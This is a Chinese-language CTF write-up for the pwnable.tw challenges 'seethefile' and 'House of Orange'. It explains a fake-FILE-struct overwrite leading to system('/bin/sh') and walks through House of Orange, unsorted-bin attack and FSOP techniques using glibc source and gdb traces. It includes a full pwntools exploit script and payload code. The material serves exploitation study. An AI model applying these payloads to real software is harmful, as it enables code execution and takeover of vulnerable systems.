0x01 seethefile
分析程序主要有以下功能:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 switch ( atoi(&nptr) ) { case 1 : openfile(); break ; case 2 : readfile(); break ; case 3 : writefile(); break ; case 4 : closefile(); break ; case 5 : printf ("Leave your name :" ); __isoc99_scanf("%s" , &name); printf ("Thank you %s ,see you next time\n" , &name); if ( fp ) fclose(fp); exit (0 ); return ;
功能如其名,就不复述了,一些功能做了一点check。漏洞主要是两个
__isoc99_scanf("%s", &nptr);
溢出发生在栈上
·__isoc99_scanf("%s", &name); // overflow in bss
通过 checksec ,我们发现有canary ,栈溢出需要 bypass canary才能利用
1 2 3 4 5 6 [*] '/pwn/seethefile' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)
利用当我们咋输入name的时候输入一段长的字符串的时候,在 fclose 会发生报错
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] EAX: 0x61616161 ('aaaa' ) EBX: 0xf7fc9000 --> 0x1b1db0 ECX: 0xffffffff EDX: 0xf7fca870 --> 0x0 ESI: 0x61616161 ('aaaa' ) EDI: 0xf7fc9000 --> 0x1b1db0 EBP: 0xffffd6b8 --> 0xffffd708 --> 0x0 ESP: 0xffffd690 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815) EIP: 0xf7e749f7 (<_IO_new_fclose+23>: cmp BYTE PTR [esi+0x46],0x0) EFLAGS: 0x10286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7e749eb <_IO_new_fclose+11>: add ebx,0x154615 0xf7e749f1 <_IO_new_fclose+17>: sub esp,0x1c 0xf7e749f4 <_IO_new_fclose+20>: mov esi,DWORD PTR [ebp+0x8] => 0xf7e749f7 <_IO_new_fclose+23>: cmp BYTE PTR [esi+0x46],0x0 0xf7e749fb <_IO_new_fclose+27>: jne 0xf7e74ba0 <_IO_new_fclose+448> 0xf7e74a01 <_IO_new_fclose+33>: mov eax,DWORD PTR [esi] 0xf7e74a03 <_IO_new_fclose+35>: test ah,0x20 0xf7e74a06 <_IO_new_fclose+38>: jne 0xf7e74b80 <_IO_new_fclose+416> [------------------------------------stack-------------------------------------] 0000| 0xffffd690 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815) 0004| 0xffffd694 --> 0x0 0008| 0xffffd698 --> 0xf7fc9000 --> 0x1b1db0 0012| 0xffffd69c --> 0xf7fc9000 --> 0x1b1db0 0016| 0xffffd6a0 --> 0xffffd708 --> 0x0 0020| 0xffffd6a4 --> 0xf7fee010 (<_dl_runtime_resolve+16>: pop edx) 0024| 0xffffd6a8 --> 0xf7e749eb (<_IO_new_fclose+11>: add ebx,0x154615) 0028| 0xffffd6ac --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV _IO_new_fclose (fp=0x61616161) at iofclose.c:48 48 iofclose.c: No such file or directory.
我们会发现 fp 指针被覆盖成了_IO_new_fclose —> fp = 0x61616161
回顾下 fclose的知识点:
功能:关闭一个文件流,使用 fclose 就可以把缓冲区内最后剩余的数据输出到磁盘文件中,并释放文件指针和有关的缓冲区
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 int _IO_new_fclose (FILE *fp) { int status; CHECK_FILE(fp, EOF); #if SHLIB_COMPAT (libc, GLIBC_2_0, GLIBC_2_1) if (_IO_vtable_offset (fp) != 0 ) return _IO_old_fclose (fp); #endif if (fp->_flags & _IO_IS_FILEBUF) _IO_un_link ((struct _IO_FILE_plus *) fp); _IO_acquire_lock (fp); if (fp->_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp); else status = fp->_flags & _IO_ERR_SEEN ? -1 : 0 ; _IO_release_lock (fp); _IO_FINISH (fp); if (fp->_mode > 0 ) { struct _IO_codecvt *cc = fp ->_codecvt ; __libc_lock_lock (__gconv_lock); __gconv_release_step (cc->__cd_in.__cd.__steps); __gconv_release_step (cc->__cd_out.__cd.__steps); __libc_lock_unlock (__gconv_lock); } else { if (_IO_have_backup (fp)) _IO_free_backup_area (fp); } if (fp != _IO_stdin && fp != _IO_stdout && fp != _IO_stderr) { fp->_flags = 0 ; free (fp); } return status; } versioned_symbol (libc, _IO_new_fclose, _IO_fclose, GLIBC_2_1); strong_alias (_IO_new_fclose, __new_fclose) versioned_symbol (libc, __new_fclose, fclose, GLIBC_2_1);
fclose 首先会调用_IO_unlink_it 将指定的 FILE 从_chain 链表中脱链
1 2 if (fp->_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp);
之后会调用_IO_file_close_it 函数,_IO_file_close_it 会调用系统接口 close 关闭文件
1 2 if (fp->_IO_file_flags & _IO_IS_FILEBUF) status = _IO_file_close_it (fp);
最后调用 vtable 中的_IO_FINISH,其对应的是_IO_file_finish 函数,其中会调用 free 函数释放之前分配的 FILE 结构
根据调用流程,我们需要fake 一个io file ,所以首先,我们将 fp-> name buffer,因为这是我们可以控制的数据流。
根据调试我们可以知道,我们需要构造的结构如下:
记录下调试过程:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [----------------------------------registers-----------------------------------] EAX: 0x6e69622f ('/bin' ) EBX: 0xf7fc9000 --> 0x1b1db0 ECX: 0xffffffff EDX: 0x0 ESI: 0x804b260 ("/bin/sh" ) EDI: 0xf7e16700 (0xf7e16700) EBP: 0xffffd728 --> 0xffffd778 --> 0x0 ESP: 0xffffd700 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815) EIP: 0xf7e74a24 (<_IO_new_fclose+68>: cmp edi,DWORD PTR [edx+0x8]) EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7e74a14 <_IO_new_fclose+52>: jne 0xf7e74aa8 <_IO_new_fclose+200> 0xf7e74a1a <_IO_new_fclose+58>: mov edx,DWORD PTR [esi+0x48] 0xf7e74a1d <_IO_new_fclose+61>: mov edi,DWORD PTR gs:0x8 => 0xf7e74a24 <_IO_new_fclose+68>: cmp edi,DWORD PTR [edx+0x8] 0xf7e74a27 <_IO_new_fclose+71>: je 0xf7e74a4f <_IO_new_fclose+111> 0xf7e74a29 <_IO_new_fclose+73>: xor eax,eax 0xf7e74a2b <_IO_new_fclose+75>: mov ecx,0x1 0xf7e74a30 <_IO_new_fclose+80>: cmp DWORD PTR gs:0xc,0x0
紧接着,cmp edi,DWORD PTR [edx+0x8]
在此处会发生报错,因为此时 edx 为 0 ,由上下文我们知道,
mov edx,DWORD PTR [esi+0x48]
, edx 由,[esi+0x48] 赋值,因此我们需要将[esi+0x48]设置成一个可读地址,esi 此时 fp 地址,所以我们修改 payload为如下
1 2 3 4 5 6 7 8 9 buffer = 0x804b260 payload = '' payload += '/bin/sh\x00' .ljust(0x20 ,'\x00' )+p32(buffer) payload = payload.ljust(0x48 ,'\x00' ) payload += p32(buffer+0x10 ) payload = payload.ljust(0x94 ,'\x00' ) payload += p32(libc.symbols['system' ])
因为后面有以下操作:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 [----------------------------------registers-----------------------------------] EAX: 0x6e69622f ('/bin' ) EBX: 0xf7fc9000 --> 0x1b1db0 ECX: 0x1 EDX: 0x804b270 --> 0x1 ESI: 0x804b260 ("/bin/sh" ) EDI: 0xf7e16700 (0xf7e16700) EBP: 0xffffd728 --> 0xffffd778 --> 0x0 ESP: 0xffffd700 --> 0xf7fe77eb (<_dl_fixup+11>: add esi,0x15815) EIP: 0xf7e74a53 (<_IO_new_fclose+115>: mov edx,eax) EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7e74a4a <_IO_new_fclose+106>: mov eax,DWORD PTR [esi] 0xf7e74a4c <_IO_new_fclose+108>: mov DWORD PTR [edx+0x8],edi 0xf7e74a4f <_IO_new_fclose+111>: add DWORD PTR [edx+0x4],0x1 => 0xf7e74a53 <_IO_new_fclose+115>: mov edx,eax 0xf7e74a55 <_IO_new_fclose+117>: and edx,0x8000 0xf7e74a5b <_IO_new_fclose+123>: test ah,0x20 0xf7e74a5e <_IO_new_fclose+126>: je 0xf7e74aa8 <_IO_new_fclose+200> 0xf7e74a60 <_IO_new_fclose+128>: sub esp,0xc
此时
1 2 0xf7e74a4c <_IO_new_fclose+108>: mov DWORD PTR [edx+0x8],edi 0xf7e74a4f <_IO_new_fclose+111>: add DWORD PTR [edx+0x4],0x1
edx 为 fp+0x48 后的地址,此时如果也将 赋值为 buffer 地址,会修改掉 fp 的内容,所以我们随便往后偏移0x10
控制程序流程
接着调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 EAX: 0x804b260 ("/bin/sh" ) EBX: 0x804b260 ("/bin/sh" ) ECX: 0x0 EDX: 0x0 ESI: 0x0 EDI: 0x0 EBP: 0xffffd728 --> 0xffffd778 --> 0x0 ESP: 0xffffd6e0 --> 0xf7fc9000 --> 0x1b1db0 EIP: 0xf7e80910 (<_IO_new_file_close_it+256>: movsx eax,BYTE PTR [ebx+0x46]) EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0xf7e8090c <_IO_new_file_close_it+252>: pop edi 0xf7e8090d <_IO_new_file_close_it+253>: ret 0xf7e8090e <_IO_new_file_close_it+254>: xchg ax,ax => 0xf7e80910 <_IO_new_file_close_it+256>: movsx eax,BYTE PTR [ebx+0x46] 0xf7e80914 <_IO_new_file_close_it+260>: sub esp,0xc 0xf7e80917 <_IO_new_file_close_it+263>: mov eax,DWORD PTR [ebx+eax*1+0x94] 0xf7e8091e <_IO_new_file_close_it+270>: push ebx 0xf7e8091f <_IO_new_file_close_it+271>: call DWORD PTR [eax+0x44]
我们此时跟到
1 2 3 4 5 => 0xf7e80910 <_IO_new_file_close_it+256>: movsx eax,BYTE PTR [ebx+0x46] 0xf7e80914 <_IO_new_file_close_it+260>: sub esp,0xc 0xf7e80917 <_IO_new_file_close_it+263>: mov eax,DWORD PTR [ebx+eax*1+0x94] 0xf7e8091e <_IO_new_file_close_it+270>: push ebx 0xf7e8091f <_IO_new_file_close_it+271>: call DWORD PTR [eax+0x44]
如果此时控制 eax ,我们则能控制程序流程,关键在于 ebx 和 eax 两个寄存器
movsx eax,BYTE PTR [ebx+0x46]
—> eax == 0
mov eax,DWORD PTR [ebx+eax*1+0x94]
—> eax = [ebx+0x94] ;ebx 此时为 fp 地址。
则此时, eax = fp + 0x94
我们要控制的跳转地址为 eax = [[fp+0x94]+0x44]
所以我们设置如下payload
1 2 3 4 5 6 7 8 9 10 11 12 buffer = 0x804b260 payload = '' payload += '/bin/sh\x00' .ljust(0x20 ,'\x00' )+p32(buffer) payload = payload.ljust(0x48 ,'\x00' ) payload += p32(buffer+0x10 ) payload = payload.ljust(0x94 ,'\x00' ) payload += p32(0x804b2f8 - 0x44 ) payload = payload.ljust(0x94 ,'\x00' ) payload += p32(libc.symbols['system' ])
构造出来的file 结构如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 gdb-peda$ telescope 0x804b260 0x94 0000| 0x804b260 ("/bin/sh" ) 0004| 0x804b264 --> 0x68732f ('/sh' ) 0008| 0x804b268 --> 0x0 0012| 0x804b26c --> 0x0 0016| 0x804b270 --> 0x0 0020| 0x804b274 --> 0x0 0024| 0x804b278 --> 0x0 0028| 0x804b27c --> 0x0 0032| 0x804b280 --> 0x804b260 ("/bin/sh" ) 0036| 0x804b284 --> 0x0 0040| 0x804b288 --> 0x0 0044| 0x804b28c --> 0x0 0048| 0x804b290 --> 0x0 0052| 0x804b294 --> 0x0 0056| 0x804b298 --> 0x0 0060| 0x804b29c --> 0x0 0064| 0x804b2a0 --> 0x0 0068| 0x804b2a4 --> 0x0 0072| 0x804b2a8 --> 0x804b270 --> 0x0 0076| 0x804b2ac --> 0x0 0080| 0x804b2b0 --> 0x0 0084| 0x804b2b4 --> 0x0 0088| 0x804b2b8 --> 0x0 0092| 0x804b2bc --> 0x0 0096| 0x804b2c0 --> 0x0 --More--(25/148) 0100| 0x804b2c4 --> 0x0 0104| 0x804b2c8 --> 0x0 0108| 0x804b2cc --> 0x0 0112| 0x804b2d0 --> 0x0 0116| 0x804b2d4 --> 0x0 0120| 0x804b2d8 --> 0x0 0124| 0x804b2dc --> 0x0 0128| 0x804b2e0 --> 0x0 0132| 0x804b2e4 --> 0x0 0136| 0x804b2e8 --> 0x0 0140| 0x804b2ec --> 0x0 0144| 0x804b2f0 --> 0x0 0148| 0x804b2f4 --> 0x804b2b4 --> 0x0 0152| 0x804b2f8 --> 0xf7e51da0 (<__libc_system>: sub esp,0xc) 0156| 0x804b2fc --> 0x0
最后的 infoleak 只需要 读 /proc/self/map
即可
exploit1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 from swpwn import *context.terminal = ['python' , '/pwn/notiterm.py' ,'-t' , 'iterm' , '-e' ] io,elf,libc = init_pwn("./seethefile" ,"libc_32.so.6" ,remote_detail = ("chall.pwnable.tw" ,10200 ),is_env = False ) def menu (idx ): io.recvuntil(':' ) io.sendline(str(idx)) def leave_name (nm ): menu(5 ) io.recvuntil(":" ) io.sendline(nm) def read_file (nm ): menu(1 ) io.recvuntil(":" ) io.sendline(nm) menu(2 ) menu(2 ) menu(3 ) libc.address = 0xf7e17000 lg('libc addr:' ,libc.address) gdb.attach(io,''' b _IO_new_fclose b *0xf7e74a60 b *0xF7E80910 b *0xF7E80917 b *0xf7e74a24 ''' )buffer = 0x804b260 payload = '' payload += '/bin/sh\x00' .ljust(0x20 ,'\x00' )+p32(buffer) payload = payload.ljust(0x48 ,'\x00' ) payload += p32(buffer+0x10 ) payload = payload.ljust(0x94 ,'\x00' ) payload += p32(0x804b2f8 - 0x44 ) payload = payload.ljust(0x94 ,'\x00' ) payload += p32(libc.symbols['system' ]) lg('system addr:' ,libc.symbols['system' ]) pause() leave_name(payload) pause() io.interactive()
0x02 houseoforange这其实是一种,在没有 free 的情况下,构造 unsorted bin 进行 libc leak的方法。
原理https://code.woboq.org/userspace/glibc/malloc/malloc.c.html#4172
当用户申请的 chunk, top chunk 不能满足的时候,有可能使用 sysmalloc 进行内存分配,当调用 sysmalloc 分配的时候,这里有两个选择
mmap
扩展brk
sysmalloc source code
从源码我们可以得知,如果得满足 (*unsigned* *long*) (nb) >= (*unsigned* *long*) (mp_.mmap_threshold)
不成立,则不会调用mmap
1 2 3 4 5 6 if (av == NULL || ((unsigned long ) (nb) >= (unsigned long ) (mp_.mmap_threshold) && (mp_.n_mmaps < mp_.n_mmaps_max))) { char *mm; try_mmap:
当申请的 chunk 大小不大于 mmap 分配阈值,mmap_threshold的值为
128*1024
扩展 brk top chunk 的时候还有两个assert 的存在
1 2 3 4 5 6 assert ((old_top == initial_top (av) && old_size == 0 ) || ((unsigned long ) (old_size) >= MINSIZE && prev_inuse (old_top) && ((unsigned long ) old_end & (pagesize - 1 )) == 0 )); assert ((unsigned long ) (old_size) < (unsigned long ) (nb + MINSIZE));
总结下就是:
old_size >= MINSIZE,即old_size不能太小
old_top 设置了 prev_inuse 标志位
old_end正好为页尾,即(&old_top+old_size)&(0x1000-1) == 0
old_size < nb+MINSIZE,old_size不够需求
当 top chunk 扩展完毕,旧的top chunk就会被free掉。
1 2 3 4 5 6 if (old_size >= MINSIZE) { set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE); set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ)); set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA); _int_free (av, old_top, 1 );
支持,如果我们能覆盖 top chunk,则可能伪造一个 unsorte bin ,进行info leak 。以及此处还有另外一个 trick
当我们申请一个largebin 的时候
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 if (in_smallbin_range (size)) { victim_index = smallbin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; } else { victim_index = largebin_index (size); bck = bin_at (av, victim_index); fwd = bck->fd; if (fwd != bck) { size |= PREV_INUSE; assert (chunk_main_arena (bck->bk)); if ((unsigned long ) (size) < (unsigned long ) chunksize_nomask (bck->bk)) { fwd = bck; bck = bck->bk; victim->fd_nextsize = fwd->fd; victim->bk_nextsize = fwd->fd->bk_nextsize; fwd->fd->bk_nextsize = victim->bk_nextsize->fd_nextsize = victim;
malloc
源码中还把old_top
的堆地址放到了堆里面,所以如果再次分配时候如果分配大小为largebin
(也就是大于512字节)的chunk
的话,就是可以既泄露libc
又可以泄露heap
。
分析1 2 3 4 5 6 7 8 9 10 11 12 int menu () { puts ("+++++++++++++++++++++++++++++++++++++" ); puts ("@ House of Orange @" ); puts ("+++++++++++++++++++++++++++++++++++++" ); puts (" 1. Build the house " ); puts (" 2. See the house " ); puts (" 3. Upgrade the house " ); puts (" 4. Give up " ); puts ("+++++++++++++++++++++++++++++++++++++" ); return printf ("Your choice : " ); }
主要四个核心功能,重点在 build 和upgrade
在upgrade
函数中,修改name
时候不顾实际chunk
的堆大小是多少,直接进行编辑,最大可编辑0x1000
大小,因而存在溢出。
由于没有 free ,所以这里我们采用上述原理的方法进行 free chunk to unsorte bin
利用 overwrite the top chunk1 2 3 4 5 6 build('0' * 8 , 0x90 , 1 , 1 ) pay = 'c' * 0x90 pay += p64(0 ) + p64(0x21 ) pay += p32(0 ) + p32(0x20 ) + p64(0 ) pay += p64(0 ) + p64(0xf21 )
通过 堆溢出漏洞覆盖 top chunk,并构造好top chunk 的size 和 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x5555557580e0 (size : 0xf20) last_remainder: 0x0 (size : 0x0) unsortbin: 0x0 gdb-peda$ x/20gx 0x5555557580e0 0x5555557580e0: 0x0000000000000000 0x0000000000000f21 0x5555557580f0: 0x0000000000000000 0x0000000000000000
此时,构造 to chunk size 为 0xf21,满足条件,当申请大于 0xf21 size 的chunk 的时候,即可发生 free
trigger _int_free()1 upgrade(pay, len(pay), 1 , 1 )
执行payload 后
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 gdb-peda$ heapinfo (0x20) fastbin[0]: 0x0 (0x30) fastbin[1]: 0x0 (0x40) fastbin[2]: 0x0 (0x50) fastbin[3]: 0x0 (0x60) fastbin[4]: 0x0 (0x70) fastbin[5]: 0x0 (0x80) fastbin[6]: 0x0 (0x90) fastbin[7]: 0x0 (0xa0) fastbin[8]: 0x0 (0xb0) fastbin[9]: 0x0 top: 0x55555577a010 (size : 0x20ff0) last_remainder: 0x555555758120 (size : 0xec0) unsortbin: 0x555555758120 (size : 0xec0) gdb-peda$ parseheap addr prev size status fd bk 0x555555758000 0x0 0x20 Used None None 0x555555758020 0x0 0xa0 Used None None 0x5555557580c0 0x0 0x20 Used None None 0x5555557580e0 0x0 0x20 Used None None 0x555555758100 0x0 0x20 Used None None 0x555555758120 0x0 0xec0 Freed 0x2aaaab097b78 0x2aaaab097b78
此时 old top chunk 被放到了 unsortbin 里,此时我们也有了 main_arean 地址。
build a large chunk and info leak1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 build('2' , 0x400 , 1 , 1 ) see() io.recvuntil(": " ) libc_addr = myu64(io.recvn(6 )) & ~(0x1000 - 1 ) log.info("\033[33m" + hex(libc_addr) + "\033[0m" ) libc.address = libc_addr - 0x3bd000 log.info("\033[33m" + hex(libc.address) + "\033[0m" ) upgrade('2' * 0x10 , 0x400 , 1 , 1 ) see() io.recvuntil("2" * 0x10 ) heap_addr = myu64(io.recvn(6 )) - 0x140 log.info("\033[33m" + hex(heap_addr) + "\033[0m" )
当build 2 一个large bin 的时候 即 大于 512 字节的 chunk,为发生原理写的那个trick 得到heap地址
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 gdb-peda$ parseheap addr prev size status fd bk 0x555555758000 0x0 0x20 Used None None 0x555555758020 0x0 0xa0 Used None None 0x5555557580c0 0x0 0x20 Used None None 0x5555557580e0 0x0 0x20 Used None None 0x555555758100 0x0 0x20 Used None None 0x555555758120 0x0 0x20 Used None None 0x555555758140 0x0 0x410 Used None None 0x555555758550 0x0 0x20 Used None None 0x555555758570 0x0 0xa70 Freed 0x2aaaab097b78 0x2aaaab097b78 0x555555758fe0 0xa70 0x10 Used None None 0x555555758ff0 0x0 0x10 Freed 0x0 0x0 Corrupt ?! (size == 0) (0x555555759000) gdb-peda$ mergeinfo 0x555555758140 ================================== Merge info ================================== The chunk will not merge with other gdb-peda$ x/20gx 0x555555758140 0x555555758140: 0x0000000000000000 0x0000000000000411 0x555555758150: 0x00002aaaab090a32 0x00002aaaab098188 0x555555758160: 0x0000555555758140 0x0000555555758140
此时,我们也能得到了 libc 地址和heap地址。
File Stream Oriented Programming(FSOP)紧接着,我们面临的另外一个问题就是如何控制程序流程。
我们知道,出现内存错误的时候一般会调用malloc_printerr
,就像下面这样:
1 2 3547 if (__builtin_expect (fastbin_index (chunksize (victim)) != idx, 0)) 3548 malloc_printerr ("malloc(): memory corruption (fast)");
接着跟进一下,发现调用了__libc_message
,并且action=do_abort
1 2 3 4 5 5285 malloc_printerr (const char *str) 5286 { 5287 __libc_message (do_abort, "%s\n", str); 5288 __builtin_unreachable (); 5289 }
接着就是调用abort
了:链接
1 2 3 4 5 6 7 8 9 175 if ((action & do_abort)) 176 { 177 if ((action & do_backtrace)) 178 BEFORE_ABORT (do_abort, written, fd); 179 180 /* Kill the application. */ 181 abort (); 182 }
接着就会调用fflush
:链接
1 2 3 4 5 6 7 70 /* Flush all streams. We cannot close them now because the user 71 might have registered a handler for SIGABRT. */ 72 if (stage == 1) 73 { 74 ++stage; 75 fflush (NULL); 76 }
而fflush
对应着下面这个函数:
1 5 #define fflush(s) _IO_flush_all_lockp (0)
这就是关键了:链接
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 _IO_flush_all_lockp (int do_lock) { int result = 0 ; FILE *fp; #ifdef _IO_MTSAFE_IO _IO_cleanup_region_start_noarg (flush_cleanup); _IO_lock_lock (list_all_lock); #endif for (fp = (FILE *) _IO_list_all; fp != NULL ; fp = fp->_chain) { run_fp = fp; if (do_lock) _IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base) || (_IO_vtable_offset (fp) == 0 && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base)) ) && _IO_OVERFLOW (fp, EOF) == EOF) result = EOF; if (do_lock) _IO_funlockfile (fp); run_fp = NULL ; } #ifdef _IO_MTSAFE_IO _IO_lock_unlock (list_all_lock); _IO_cleanup_region_end (0 ); #endif return result; }
![image-20190305040412416](/Users/swing/Library/Application Support/typora-user-images/image-20190305040412416.png)
如果我们能伪造上述的file struck ,那么就能get shell,伪造的前提,我们得能控制 _IO_list_all .此时我们在unsorted bin 和 堆溢出的条件下,是能利用 unsortbin attack ,向 _IO_list_all 写入一个指针。
unsortbin attack
是怎么一回事呢,其实就是在malloc
的过程中,unsortbin
会从链表上卸下来(只要分配的大小不是fastchunk
大小)
1 2 3 4 5 if (__glibc_unlikely (bck->fd != victim)) malloc_printerr ("malloc(): corrupted unsorted chunks 3" ); unsorted_chunks (av)->bk = bck; bck->fd = unsorted_chunks (av);
如上代码所示,就是会把bk+0x10
的地方写入本unsort_bin的地址,
当 fake 了 unsoted bin 的 bk的时候,再一次malloc 时候,在_ini_malloc 即可完成 unsortbin attack。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 gdb-peda$ [----------------------------------registers-----------------------------------] RAX: 0x7fffffffe59f --> 0xa00 ('' ) RBX: 0x2aaaab097b20 --> 0x100000001 RCX: 0x7c ('|' ) RDX: 0x2aaaab097b28 --> 0x0 RSI: 0x60 ('`' ) RDI: 0x7fffffffe5a0 --> 0xa ('\n' ) RBP: 0x20 (' ' ) RSP: 0x7fffffffe520 --> 0x2 RIP: 0x2aaaaad54e10 (<_int_malloc+656>: mov QWORD PTR [r15+0x10],r12) R8 : 0x0 R9 : 0x1999999999999999 R10: 0x0 R11: 0x2aaaaae4a5e0 --> 0x2000200020002 R12: 0x2aaaab097b78 --> 0x55555577a010 --> 0x0 R13: 0x555555758570 --> 0x68732f6e69622f ('/bin/sh' ) R14: 0x2710 R15: 0x2aaaab098510 --> 0x0 EFLAGS: 0x287 (CARRY PARITY adjust zero SIGN trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x2aaaaad54e03 <_int_malloc+643>: je 0x2aaaaad54fa0 <_int_malloc+1056> 0x2aaaaad54e09 <_int_malloc+649>: cmp rbp,rsi 0x2aaaaad54e0c <_int_malloc+652>: mov QWORD PTR [rbx+0x70],r15 => 0x2aaaaad54e10 <_int_malloc+656>: mov QWORD PTR [r15+0x10],r12 0x2aaaaad54e14 <_int_malloc+660>: je 0x2aaaaad552c8 <_int_malloc+1864> 0x2aaaaad54e1a <_int_malloc+666>: cmp rsi,0x3ff 0x2aaaaad54e21 <_int_malloc+673>: jbe 0x2aaaaad54d80 <_int_malloc+512> 0x2aaaaad54e27 <_int_malloc+679>: mov rax,rsi [------------------------------------stack-------------------------------------] 0000| 0x7fffffffe520 --> 0x2 0008| 0x7fffffffe528 --> 0x10 0016| 0x7fffffffe530 --> 0x7fffffffe5a0 --> 0xa ('\n' ) 0024| 0x7fffffffe538 --> 0x7fffffffe740 --> 0x1 0032| 0x7fffffffe540 --> 0x0 0040| 0x7fffffffe548 --> 0x0 0048| 0x7fffffffe550 --> 0xffff800000001a61 0056| 0x7fffffffe558 --> 0x7fffffffe59f --> 0xa00 ('' ) [------------------------------------------------------------------------------] Legend: code, data, rodata, value 3516 in malloc.c 1: _IO_list_all = (struct _IO_FILE_plus *) 0x2aaaab098540 <_IO_2_1_stderr_>
此时,mov QWORD PTR [r15+0x10],r12
R12: 0x2aaaab097b78 --> 0x55555577a010 --> 0x0
,R15: 0x2aaaab098510 --> 0x0
1 2 gdb-peda$ p _IO_list_all $11 = (struct _IO_FILE_plus *) 0x2aaaab097b78 <main_arena+88>
_IO_list_all 被 修改成 0x2aaaab097b78 addr 。
此时 _IO_list_all —> main_arean 。另外一个问题来了,我们虽然控制了 _IO_list_all ,但是无法修改main_arean 的值。
我们注意到,此时 main_arean 被当做 file struct ,则应有如下结构。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 struct _IO_FILE { int _flags; #define _IO_file_flags _flags char * _IO_read_ptr; char * _IO_read_end; char * _IO_read_base; char * _IO_write_base; char * _IO_write_ptr; char * _IO_write_end; char * _IO_buf_base; char * _IO_buf_end; char *_IO_save_base; char *_IO_backup_base; char *_IO_save_end; struct _IO_marker *_markers ; struct _IO_FILE *_chain ; int _fileno; #if 0 int _blksize; #else int _flags2; #endif _IO_off_t _old_offset; #define __HAVE_COLUMN unsigned short _cur_column; signed char _vtable_offset; char _shortbuf[1 ]; _IO_lock_t *_lock; #ifdef _IO_USE_OLD_IO_FILE }; struct _IO_FILE_plus { _IO_FILE file; const struct _IO_jump_t *vtable ; };
我们注意到,这里 struct _IO_FILE *_chain;
_IO_File 是个文件结构体,_chain
指向了下一个结构体,如果我们能控制 chain 指向 heap buffer ,我们就能构造一个完整的file struct ,那么此刻要解决的问题就是如何控制 chain 指向 heap buufer 呢?
我们此刻知道, chain 在 file struct的offset 为0x68
1 2 gdb-peda$ p &((struct _IO_FILE*)0)->_chain $13 = (struct _IO_FILE **) 0x68
Unsortbin 位于bin[1] 后面的的62个bin 均为 smallbin
small bins 中每个 chunk 的大小与其所在的 bin 的 index 的关系为:chunk_size = 2 * SIZE_SZ *index,具体如下
下标
SIZE_SZ=4(32 位)
SIZE_SZ=8(64 位)
2
16
32
3
24
48
4
32
64
5
40
80
x
24 x
28 x
63
504
1008
此时 offset = 0x68 在 bin[4]
fp->_chain = fp+0x68 = unsorted_bin + 0x68
bins[2-6]
都是smallbins
的范围,大小为0x20,0x30,0x40,0x50,0x60。所以为了让fp
指向我们指定的位置,就需要让bins[6]
即0x60的smallbin
是我们控制的。 那么现在unsorted bin
中存在唯一的chunk
为top
,我们将它的大小改为0x61
(因为unsorted bin
中必然是空闲的,所以其前一个必然在使用中),那么当其加入smallbin
中就会加入到bins[6]
,这样就能实现fp=top
